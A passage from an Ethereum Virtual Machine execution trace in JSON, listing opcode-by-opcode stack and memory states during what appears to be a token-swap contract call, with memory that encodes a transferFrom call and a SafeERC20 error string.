0000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14320,"op":"MLOAD","gas":1977,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x404","0x2","0x1","0x140"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14321,"op":"DUP4","gas":1974,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x404","0x2","0x1","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14322,"op":"MSTORE","gas":1971,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x404","0x2","0x1","0x136dbf40ac09b","0x404"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f400002e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14323,"op":"SWAP3","gas":1965,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x140","0x404","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14324,"op":"DUP5","gas":1962,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x1","0x404","0x2","0x140"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14325,"op":"ADD","gas":1959,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x1","0x404","0x2","0x140","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14326,"op":"SWAP3","gas":1956,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x1","0x404","0x2","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14327,"op":"SWAP2","gas":1953,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x160","0x404","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14328,"op":"DUP5","gas":1950,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x160","0x1","0x2","0x404"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14329,"op":"ADD","gas":1947,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x160","0x1","0x2","0x404","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14330,"op":"SWAP2","gas":1944,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x160","0x1","0x2","0x424"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14331,"op":"PUSH1","gas":1941,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x160","0x424","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14333,"op":"ADD","gas":1938,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x160","0x424","0x2","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14334,"op":"PUSH2","gas":1935,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x160","0x424","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000002000000000000000000000000000